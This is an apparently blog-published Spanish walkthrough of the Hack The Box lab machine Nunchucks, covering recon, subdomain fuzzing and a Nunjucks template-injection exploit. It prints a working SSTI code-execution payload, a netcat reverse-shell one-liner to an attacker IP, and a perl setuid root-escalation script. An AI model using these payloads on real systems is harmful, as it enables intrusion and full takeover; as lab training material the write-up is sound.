WriteUp Nunchucks – HTB

· · · | CTF en WriteUp Nunchucks – HTB

El día de hoy vamos a resolver una maquina retirada de Hack The Box llamada Nunchucks.

Escaneo de puertos

Empezamos con ingresar a la maquina y obtener la dirección IP 10.10.11.122, para luego realizar una revisión de puertos mediante el programa Nmap con el siguiente comando:

sudo nmap 10.10.11.122 -p- --min-rate=5000 -sS -sC -sV -o nmap

-p-: Especifica que vamos a realizar un barrido de todos los puertos TCP (1 – 65535).

–min-rate=5000: Configura nmap para que envíe paquetes con una velocidad mínima de 5000 paquetes por segundo.

-sS: Realiza un escaneo de tipo SYN-SCAN.

-sC: Realiza la ejecución de scripts comunes de nmap.

-sV: Realiza una revisión de las cabeceras de la capa de aplicación para obtener las versiones de los servicios.

-o nmap: Guarda el resultado del comando en un archivo llamado nmap.

Nota: El comando debe ser ejecutado con permisos de root, ya que la técnica SYN-SCAN edita los paquetes TCP y para ello se requiere estos privilegios.

Nmap nos devuelve lo siguiente:

Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-10 14:41 PST
Nmap scan report for nunchucks.htb (10.10.11.122)
Host is up (0.21s latency).
Not shown: 65532 closed ports
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 6c:14:6d:bb:74:59:c3:78:2e:48:f5:11:d8:5b:47:21 (RSA)
|   256 a2:f4:2c:42:74:65:a3:7c:26:dd:49:72:23:82:72:71 (ECDSA)
|_  256 e1:8d:44:e7:21:6d:7c:13:2f:ea:3b:83:58:aa:02:b3 (ED25519)
80/tcp  open  http     nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://nunchucks.htb/
443/tcp open  ssl/http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Nunchucks - Landing Page
| ssl-cert: Subject: commonName=nunchucks.htb/organizationName=Nunchucks-Certificates/stateOrProvinceName=Dorset/countryName=UK
| Subject Alternative Name: DNS:localhost, DNS:nunchucks.htb
| Not valid before: 2021-08-30T15:42:24
|_Not valid after:  2031-08-28T15:42:24
| tls-alpn: 
|_  http/1.1
| tls-nextprotoneg: 
|_  http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 40.88 seconds

Whatweb

El comando whatweb es muy útil a la hora de realizar una vista rápida de lo que nos puede ofrecer un sitio web, entonces pasamos como argumento la IP y nos encontramos con la siguiente información:

~$ whatweb 10.10.11.122
http://10.10.11.122 [301 Moved Permanently] Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.122], RedirectLocation[https://nunchucks.htb/], Title[301 Moved Permanently], nginx[1.18.0]
ERROR Opening: https://nunchucks.htb/ - no address for nunchucks.htb

Podemos ver que nos redirecciona a https://nunchucks.htb/ y a continuación nos da un error address for nunchucks.htb esto ocurre porque nuestro navegador no logra traducir el dominio en una dirección IP puesto que no figura en ningún servidor dns, para ello utilizaremos el archivo /etc/hosts agregando la IP y el dominio.

127.0.0.1	localhost
127.0.1.1	parrot
10.10.11.122	nunchucks.htb

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Si ejecutamos una vez más whatweb nos encontramos con que el error ha desaparecido.

~$ whatweb 10.10.11.122
http://10.10.11.122 [301 Moved Permanently] Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.122], RedirectLocation[https://nunchucks.htb/], Title[301 Moved Permanently], nginx[1.18.0]
https://nunchucks.htb/ [200 OK] Bootstrap, Cookies[_csrf], Country[RESERVED][ZZ], Email[[email protected]], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.122], JQuery, Script, Title[Nunchucks - Landing Page], X-Powered-By[Express], nginx[1.18.0]

Web

Ahora lo que haremos será ingresar al sitio web e ir probando las funciones existente como por ejemplo la función de registro:

Podemos ver que que al llenar la información de registro nos devuelve un mensaje de error: We’re sorry but registration is currently closed.

Entonces, podemos deducir que todas las funcionalidades del sitio web se encuentran desactivadas, por lo que intentaremos buscar otros subdominios realizando un ataque de diccionario en la cabecera Host: subdomain.nunchucks.htb.

Wfuzz

Usaremos la herramienta Wfuzz para intentar descubrir nuevos subdominios, por medio del siguiente comando:

wfuzz -c --hc 404 -t 200 -u http://nunchucks.htb/ -w /usr/share/dirb/wordlists/common.txt -H "Host: FUZZ.nunchucks.htb" --hl 546

-c: Configura que el output del programa salga en colores

–hc 404: Oculta los resultados con código de estado 404.

-t 200: Especifica que el programa use 200 hilos, (búsquedas simultáneas).

-u http://nunchucks.htb/: Especifica la url del sitio objetivo.

-w /usr/share/dirb/wordlists/common.txt: Especifica la ruta del archivo diccionario que contiene todas las palabras a probar.

-H “Host: FUZZ.nunchucks.htb”: Cabecera personalizada para realizar la búsqueda de subdominios.

–hl 546: Especifica al programa que oculte los resultados donde la cantidad de lineas sea igual a 546. Esta configuración se establece porque al ejecutar Wfuzz sin este argumento, nos devuelve muchos resultados con la misma cantidad de lineas. Por lo que debemos filtrar estos resultados y registrar solo los que entregan valores diferentes.

~$ wfuzz -c --hc 404 -t 200 -u https://nunchucks.htb/ -w /usr/share/dirb/wordlists/common.txt -H "Host: FUZZ.nunchucks.htb" --hl 546

********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: https://nunchucks.htb/
Total requests: 4614

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                                                                      
=====================================================================

000000025:   400        7 L      12 W       166 Ch      ".svn/entries"                                                                                                                                                                               
000000009:   400        7 L      12 W       166 Ch      ".git/HEAD"                                                                                                                                                                                  
000000096:   400        7 L      12 W       166 Ch      "_vti_bin/shtml.dll"                                                                                                                                                                         
000000094:   400        7 L      12 W       166 Ch      "_vti_bin/_vti_adm/admin.dll"                                                                                                                                                                
000000095:   400        7 L      12 W       166 Ch      "_vti_bin/_vti_aut/author.dll"                                                                                                                                                               
000000820:   400        7 L      12 W       166 Ch      "cgi-bin/"                                                                                                                                                                                   
000001138:   400        7 L      12 W       166 Ch      "CVS/Root"                                                                                                                                                                                   
000001137:   400        7 L      12 W       166 Ch      "CVS/Repository"                                                                                                                                                                             
000001136:   400        7 L      12 W       166 Ch      "CVS/Entries"                                                                                                                                                                                
000003856:   200        101 L    259 W      4028 Ch     "store"                                                                                                                                                                                      

Total time: 22.62127
Processed Requests: 4614
Filtered Requests: 4604
Requests/sec.: 203.9672

Entre todos ellos podemos ver, que el código de estado satisfactorio 200 nos devuelve un solo valor: store.

Lo que haremos será agregar ese subdominio también en el archivo /etc/hosts para su posterior revisión.

127.0.0.1	localhost
127.0.1.1	parrot
10.10.11.122	nunchucks.htb store.nunchucks.htb

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Web Store

Al ingresar a la web podemos observar que la interfaz del subdominio es muy diferente a la que teníamos en el dominio principal. Además, podemos ver que existe un registro de correo para recibir nuevas noticias, interceptamos esta consulta con Burp Suite.

Burp Suite

Burp Suite es un Proxy Web indispensable en las pruebas de Web Application Pentest, el cual es utilizado para analizar, modificar solicitudes en aplicaciones web e inclusive la capacidad de automatizar estas.

En la siguiente imagen se observa la capacidad de Burp Suite para interceptar la consulta del formulario de registro de correos y su posibilidad de enviar esta al Repeater, funcionalidad que permite modificar las solicitudes que son enviadas al servidor.

Componentes del Repeater

  1. Data Post: Datos que serán enviados en la petición POST.
  2. Send: Envía la solicitud POST al servidor de destino.
  3. Response: Respuesta recibida por el servidor.

SSTI

SSTI o Server Side Template Injection es una vulnerabilidad presente en muchas tecnologías, aprovecha la configuraciones de las plantillas en los sitios web, para poder ejecutar código. Esta vulnerabilidad esta presente en muchos lenguajes como NodeJS, Python, Java, entre otros.

Un payload habitual para verificar si una página es vulnerable, es realizar un calculo con números cerrado por doble llaves.

{{7+7}}

Si la respuesta del servidor interpreta el cálculo, devolviendo el resultado de la operación aritmética, podemos comprobar la existencia de la vulnerabilidad:

Comprobada que la web es vulnerable a SSTI, se requiere encontrar un payload adecuado para lograr obtener una shell reversa. Para cumplir este cometido, debemos recolectar información sobre el sitio web a vulnerar, ya que los payloads de SSTI varían mucho dependiendo de cual sea el lenguaje del sitio a explotar así como que template engine se este utilizando.

Si recordamos la información que nos devolvió el comando whatweb, entre esa información se encontraba: X-Powered-By[Express].

En base a la cabecera devuelta por whatweb, buscaremos en Internet que plantillas o templates tienen compatibilidad con Express. Como resultado, podemos encontrar una lista de template engines compatibles.

El template Nunjucks suena muy parecido al nombre de la maquina (Nunchucks). Por lo que buscamos información en donde se haya explotado esta vulnerabilidad para ese template específico. Un articulo nos sugiere el siguiente payload:

{{range.constructor("return global.process.mainModule.require('child_process').execSync('id')")()}}

Probamos el payload en el Burp Suite y verificamos si nos devuelve el output del comando a ejecutar.

Como es posible visualizar en la imagen anterior, el comando se ha ejecutado exitosamente.

Obteniendo shell

Ahora que es posible la ejecución de código remoto (RCE o de sus siglas en inglés, Remote Code Execution), vamos a obtener una reverse shell y para ello usaremos el siguiente payload.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.38 4444 >/tmp/f

Previamente, en una terminal ejecutamos el comando nc -lvp 4444, con el que estaremos escuchando por el puerto 4444 para recibir la shell inversa que será ejecutada desde la web por medio de la vulnerabilidad SSTI.

Reemplazamos el comando id por el payload anterior y enviamos la solicitud con Burp Suite.

Una vez enviada la solicitud, podemos ver que en nuestra terminal tenemos una shell. Verificamos ejecutando el comando whoami.

~$ nc -lvp 4444
listening on [any] 4444 ...
connect to [10.10.16.38] from nunchucks.htb [10.10.11.122] 37090
/bin/sh: 0: can't access tty; job control turned off
$ whoami
david

Podemos obtener la bandera de user.

$ cat /home/david/user.txt
73xxxxxxxxxxxxxxxxxxxxxxxxxxxx47

Para una mayor comodidad, obtendremos una tty en la shell puesto que ahora mismo la shell es muy limitada. Para ello usaremos el siguiente comando.

python3 -c "import pty;pty.spawn('/bin/bash')"

Podemos validar si hemos obtenido una tty de la siguiente manera.

$ python3 -c "import pty;pty.spawn('/bin/bash')"
[email protected]:~$ tty
/dev/pts/0
[email protected]:~$

Escalando privilegios

Uno de los métodos de escalar privilegios es mediante las capabilities, que son permisos que se le otorgan a los binarios para poder ejecutarlos con más privilegios que los que tiene el usuario actual.

Realizamos la siguiente búsqueda:

[email protected]:~$ getcap -r / 2>/dev/null
/usr/bin/perl = cap_setuid+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

Como podemos ver, un resultado muy interesante es: /usr/bin/perl = cap_setuid+ep

Al tener el binario permiso de setuid, podemos ejecutar código desde /usr/bin/perl con los permisos del propietario del binario.

[email protected]:~$ ls -la /usr/bin/perl
-rwxr-xr-x 1 root root 3478464 Oct 19  2020 /usr/bin/perl

Por medio del comando ls -la, podemos ver que el propietario del archivo perl es root, por lo que escribiremos un archivo y le daremos permiso de ejecución. Dicho archivo tendrá el siguiente contenido:

#!/bin/perl
use POSIX qw(setuid);
POSIX::setuid(0);
exec "/bin/bash";

Le damos permisos con chmod y lo ejecutamos:

[email protected]:~$ echo -ne '#!/bin/perl \nuse POSIX qw(setuid); \nPOSIX::setuid(0); \nexec "/bin/bash";' > run.pl
[email protected]:~$ ls
run.pl  user.txt
[email protected]:~$ chmod +x run.pl
[email protected]:~$ ./run.pl
[email protected]:~#

Ahora solo debemos leer la flag de root y con ello completaremos la máquina.

[email protected]:~# cat /root/root.txt
90xxxxxxxxxxxxxxxxxxxxxxxxxxxxf0

Conclusión

Podemos resaltar la importancia de la información que nos otorgan las cabeceras a la hora de realizar un Web Application Pentest, ya que proveen de información útil para la etapa de explotación de vulnerabilidades. Se recomienda limitar la información que es mostrada en las cabeceras para disminuir la cantidad de datos que un cibercriminal podría obtener durante la etapa de recolección de información.

Muchos desarrolladores creen que por usar frameworks, a la hora de desarrollar aplicaciones, estas se encuentran totalmente seguras y que por lo tanto, no se requiere poner a prueba sus controles de seguridad.

La vulnerabilidad SSTI pone en evidencia que aún cuando las aplicaciones son desarrolladas a través de un framework, los cuales por defecto disponen de múltiples controles de seguridad, una mala implementación de estos, podría generar un riesgo muy desastroso para una organización.

Te invitamos a poner a prueba la seguridad de tu aplicación web con nosotros.